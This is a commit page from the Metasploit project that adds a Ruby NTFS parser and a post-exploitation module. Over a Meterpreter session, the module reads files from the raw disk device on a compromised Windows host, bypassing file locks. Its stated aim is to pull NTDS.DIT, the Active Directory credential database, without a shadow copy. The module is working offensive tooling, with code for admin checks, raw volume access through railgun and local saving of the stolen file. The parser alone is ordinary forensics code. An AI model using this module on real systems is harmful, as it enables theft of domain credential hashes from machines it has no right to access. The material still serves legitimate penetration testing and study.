Skip to content

Commit 68b735d

Browse files
committed
Add a NTFS parser and a post module to dump files
This commit add a draft of an NTFS Parser and a post module to gather file using the raw NTFS device (\\.\C:) bypassing restriction like already open file with lock Can be used to retreive file like NTDS.DIT without volume shadow copy
1 parent b4419af commit 68b735d

File tree

2 files changed

+322
-0
lines changed

2 files changed

+322
-0
lines changed

lib/rex/parser/fs/ntfs.rb

Lines changed: 243 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,243 @@
1+
module Rex
2+
module Parser
3+
4+
###
5+
#
6+
# This class parses the contents of an NTFS partition file.
7+
# Author : Danil Bazin <danil.bazin[at]hsc.fr> @danilbaz
8+
#
9+
###
10+
class NTFS
11+
#
12+
# Initialize the NTFS class with an already open file handler
13+
#
14+
def initialize(file_handler)
15+
@file_handler = file_handler
16+
data = @file_handler.read(4096)
17+
# Boot sector reading
18+
@bytes_per_sector = data[11, 2].unpack("S")[0]
19+
@sector_per_cluster = data[13].unpack("C")[0]
20+
@cluster_per_mft_record = data[64].unpack("c")[0]
21+
if @cluster_per_mft_record < 0
22+
@bytes_per_mft_record = 2**(-@cluster_per_mft_record)
23+
@cluster_per_mft_record = @bytes_per_mft_record.to_f / @bytes_per_sector / @sector_per_cluster
24+
else
25+
@bytes_per_mft_record = @bytes_per_sector * @sector_per_cluster * @cluster_per_mft_record
26+
end
27+
@bytes_per_cluster = @sector_per_cluster * @bytes_per_sector
28+
@mft_logical_cluster_number = data[48, 8].unpack("Q")[0]
29+
@mft_offset = @mft_logical_cluster_number * @sector_per_cluster * @bytes_per_sector
30+
@file_handler.seek(@mft_offset)
31+
@mft = @file_handler.read(@bytes_per_mft_record)
32+
end
33+
34+
#
35+
# Gather the MFT entry corresponding to his number
36+
#
37+
def mft_record_from_mft_num(mft_num)
38+
cluster_from_attribute_non_resident(mft_record_attribute(@mft)[128]["data"], mft_num * @cluster_per_mft_record, @bytes_per_mft_record)
39+
end
40+
41+
#
42+
# Get the size of the file in the $FILENAME (64) attribute
43+
#
44+
def real_size_from_filenameattribute(attribute)
45+
filename_attribute = attribute
46+
filename_attribute[48, 8].unpack("Q")[0]
47+
end
48+
49+
#
50+
# Gather the name of the file from the $FILENAME (64) attribute
51+
#
52+
def filename_from_filenameattribute(attribute)
53+
filename_attribute = attribute
54+
length_of_name = filename_attribute[64].ord
55+
# uft16 *2
56+
d = ::Encoding::Converter.new("UTF-16LE", "UTF-8")
57+
d.convert(filename_attribute[66, (length_of_name * 2)])
58+
end
59+
60+
#
61+
# Get the file from the MFT number
62+
# The size must be gived because the $FILENAME attribute
63+
# in the MFT entry does not contain it
64+
# The file is in $DATA (128) Attribute
65+
#
66+
def file_content_from_mft_num(mft_num, size)
67+
mft_record = mft_record_from_mft_num(mft_num)
68+
attribute_list = mft_record_attribute(mft_record)
69+
if attribute_list[128]["resident"]
70+
return attribute_list[128]["data"]
71+
else
72+
return cluster_from_attribute_non_resident(attribute_list[128]["data"])[0, size]
73+
end
74+
end
75+
76+
#
77+
# parse one index record and return the name, MFT number and size of the file
78+
#
79+
def parse_index(index_entry)
80+
res = {}
81+
filename_size = index_entry[10, 2].unpack("S")[0]
82+
filename_attribute = index_entry[16, filename_size]
83+
# Should be 8 bytes but it doesn't work
84+
# mft_offset = index_entry[0.unpack("Q",:8])[0]
85+
# work with 4 bytes
86+
mft_offset = index_entry[0, 4].unpack("<I")[0]
87+
res[filename_from_filenameattribute(filename_attribute)] = { "mft_offset" => mft_offset, "file_size" => real_size_from_filenameattribute(filename_attribute) }
88+
res
89+
end
90+
91+
#
92+
# parse index_record in $INDEX_ROOT and recursively index_record in
93+
# INDEX_ALLOCATION
94+
#
95+
def parse_index_list(index_record, index_allocation_attribute)
96+
offset_index_entry_list = index_record[0, 4].unpack("<I")[0]
97+
index_size = index_record[offset_index_entry_list + 8, 2].unpack("S")[0]
98+
index_entry = index_record[offset_index_entry_list, index_size]
99+
res = {}
100+
while index_entry[12, 4].unpack("<I")[0] & 2 != 2
101+
res.update(parse_index(index_entry))
102+
# if son
103+
if index_entry[12, 4].unpack("<I")[0] & 1 == 1
104+
# should be 8 bytes length
105+
vcn = index_entry[-8, 4].unpack("I")[0]
106+
res_son = parse_index_list(index_allocation_attribute[vcn * @bytes_per_cluster + 24, index_size * @bytes_per_cluster], index_allocation_attribute)
107+
res.update(res_son)
108+
end
109+
offset_index_entry_list += index_size
110+
index_size = index_record[offset_index_entry_list + 8, 2].unpack("S")[0]
111+
index_entry = index_record [offset_index_entry_list, index_size]
112+
end
113+
# if son on the last
114+
if index_entry[12, 4].unpack("<I")[0] & 1 == 1
115+
# should be 8 bytes length
116+
vcn = index_entry[-8, 4].unpack("I")[0]
117+
res_son = parse_index_list(index_allocation_attribute[vcn * @bytes_per_cluster + 24, index_size * @bytes_per_cluster], index_allocation_attribute)
118+
res.update(res_son)
119+
end
120+
res
121+
end
122+
123+
#
124+
# return the list of files in attribute directory and their MFT number and size
125+
#
126+
def index_list_from_attributes(attributes)
127+
index_root_attribute = attributes[144]
128+
index_record = index_root_attribute[16, index_root_attribute.length - 16]
129+
if attributes.key?(160)
130+
return parse_index_list(index_record, attributes[160])
131+
else
132+
return parse_index_list(index_record, "")
133+
end
134+
end
135+
136+
def cluster_from_attribute_non_resident(attribute, cluster_num = 0, size_max = ((2**31) - 1))
137+
lowvcn = attribute[16, 8].unpack("<Q")[0]
138+
highvcn = attribute[24, 8].unpack("<Q")[0]
139+
offset = attribute[32, 2].unpack("<S")[0]
140+
real_size = attribute[48, 8].unpack("<Q")[0]
141+
attribut = ""
142+
run_list_num = lowvcn
143+
old_offset = 0
144+
145+
while run_list_num <= highvcn
146+
first_runlist_byte = attribute[offset].ord
147+
run_offset_size = first_runlist_byte >> 4
148+
run_length_size = first_runlist_byte & 15
149+
run_length = attribute[offset + 1, run_length_size]
150+
run_length += "\x00" * (8 - run_length_size)
151+
run_length = run_length.unpack("<Q")[0]
152+
153+
offset_run_offset = offset + 1 + run_length_size
154+
run_offset = attribute[offset_run_offset, run_offset_size]
155+
if run_offset[-1].ord & 128 == 128
156+
run_offset += "\xFF".force_encoding("BINARY") * (8 - run_offset_size)
157+
else
158+
run_offset += "\x00" * (8 - run_offset_size)
159+
end
160+
run_offset = run_offset.unpack("<q")[0]
161+
162+
size_wanted = [run_length * @bytes_per_cluster, size_max - attribut.length].min
163+
164+
if cluster_num + (size_wanted / @bytes_per_cluster) >= run_list_num && (cluster_num < run_length + run_list_num)
165+
run_list_offset = (run_offset + old_offset + [cluster_num - run_list_num, 0].max) * @bytes_per_cluster
166+
run_list_offset = run_list_offset.to_i
167+
@file_handler.seek(run_list_offset)
168+
169+
data = ""
170+
while data.length < size_wanted
171+
data += @file_handler.read(size_wanted - data.length)
172+
end
173+
attribut += data
174+
end
175+
offset += run_offset_size + run_length_size + 1
176+
run_list_num += run_length
177+
old_offset = run_offset
178+
end
179+
attribut = attribut[0, real_size]
180+
attribut
181+
end
182+
183+
#
184+
# return the attribute list from the MFT record
185+
# deal with resident and non resident attributes (but not $DATA due to perforemence issue)
186+
#
187+
def mft_record_attribute(mft_record)
188+
attribute_list_offset = mft_record[20, 2].unpack("C")[0]
189+
curs = attribute_list_offset
190+
attribute_identifier = mft_record[curs, 4].unpack("I")[0]
191+
res = {}
192+
while attribute_identifier != 0xFFFFFFFF
193+
# attribute_size=mft_record[curs + 4, 4].unpack("I")[0]
194+
# should be on 4 bytes but doesnt work
195+
attribute_size = mft_record[curs + 4, 2].unpack("S")[0]
196+
#print_debug("attribute_size: #{attribute_size}, attribute_identifier: #{attribute_identifier}")
197+
# resident
198+
if mft_record[curs + 8] == "\x00"
199+
content_size = mft_record[curs + 16, 4].unpack("<I")[0]
200+
content_offset = mft_record[curs + 20, 2].unpack("S")[0]
201+
res[attribute_identifier] = mft_record[curs + content_offset, content_size]
202+
else
203+
# non resident
204+
if attribute_identifier == 128
205+
res[attribute_identifier] = mft_record[curs, attribute_size]
206+
else
207+
res[attribute_identifier] = cluster_from_attribute_non_resident(mft_record[curs, attribute_size])
208+
end
209+
end
210+
if attribute_identifier == 128
211+
res[attribute_identifier] = { "data" => res[attribute_identifier], "resident" => mft_record[curs + 8] == "\x00" }
212+
end
213+
curs += attribute_size
214+
attribute_identifier = mft_record[curs, 4].unpack("I")[0]
215+
end
216+
res
217+
end
218+
219+
#
220+
# return the file path in the NTFS partition
221+
#
222+
def file(path)
223+
repertory = mft_record_from_mft_num(5)
224+
index_entry = {}
225+
for r in path.split("\\")
226+
attributes = mft_record_attribute(repertory)
227+
index = index_list_from_attributes(attributes)
228+
#print_debug("#{index}")
229+
unless index.key?(r)
230+
fail ArgumentError, "File path does not exist", caller
231+
end
232+
index_entry = index[r]
233+
repertory = mft_record_from_mft_num(index_entry["mft_offset"])
234+
end
235+
file_content_from_mft_num(index_entry["mft_offset"], index_entry["file_size"])
236+
end
237+
end
238+
end
239+
end
240+
# f = open(ARGV[0],"r")
241+
# ntfs = NTFS.new(f)
242+
# puts ntfs.file(ARGV[1])
243+
# f.close
Lines changed: 79 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,79 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class Metasploit3 < Msf::Post
7+
include Msf::Post::Windows::Priv
8+
require "rex/parser/fs/ntfs"
9+
10+
def initialize(info = {})
11+
super(update_info(info,
12+
'Name' => 'Windows File Gathering In Raw NTFS',
13+
'Description' => %q{
14+
This module gather file using the raw NTFS device, bypassing some Windows restriction.
15+
Gather file from disk bypassing restriction like already open file with write right lock.
16+
Can be used to retreive file like NTDS.DIT
17+
},
18+
'License' => 'MSF_LICENSE',
19+
'Platform' => ['win'],
20+
'SessionTypes' => ['meterpreter'],
21+
'Author' => ['Danil Bazin <danil.bazin[at]hsc.fr> @danilbaz'],
22+
'References' => [
23+
[ 'URL', 'http://www.amazon.com/System-Forensic-Analysis-Brian-Carrier/dp/0321268172/' ]
24+
]
25+
))
26+
register_options(
27+
[
28+
OptString.new('FILE', [true, 'The FILE to retreive from the Volume raw device', ""])
29+
], self.class)
30+
end
31+
32+
def run
33+
winver = sysinfo["OS"]
34+
35+
if winver =~ /2000/i
36+
print_error("Module not valid for Windows 2000")
37+
return
38+
end
39+
40+
unless is_admin?
41+
print_error("You don't have enough privileges")
42+
return
43+
end
44+
45+
file = datastore['FILE']
46+
drive = file[0, 2]
47+
48+
r = client.railgun.kernel32.CreateFileA("\\\\.\\#{drive}", "GENERIC_READ", "FILE_SHARE_DELETE|FILE_SHARE_READ|FILE_SHARE_WRITE",
49+
nil, "OPEN_EXISTING", "FILE_FLAG_WRITE_THROUGH", 0)
50+
51+
if r['GetLastError'] != 0
52+
print_error("Error opening #{drive} GetLastError=#{r['GetLastError']}")
53+
return nil
54+
end
55+
@handle = r['return']
56+
print_status("Successfuly opened #{drive}")
57+
58+
fs = Rex::Parser::NTFS.new(self)
59+
60+
data = fs.file(file[3, file.length - 3])
61+
file_name = file.split("\\")[-1]
62+
print_status("Saving file #{file_name}")
63+
file_result = ::File.new(file_name, "w")
64+
file_result.syswrite(data)
65+
file_result.close
66+
client.railgun.kernel32.CloseHandle(@handle)
67+
print_status("Post Successfuly")
68+
end
69+
70+
def read(size)
71+
client.railgun.kernel32.ReadFile(@handle, size, size, 4, nil)["lpBuffer"]
72+
end
73+
74+
def seek(offset)
75+
high_offset = offset >> 32
76+
low_offset = offset & (2**33 - 1)
77+
client.railgun.kernel32.SetFilePointer(@handle, low_offset, high_offset, 0)
78+
end
79+
end

0 commit comments

Comments
 (0)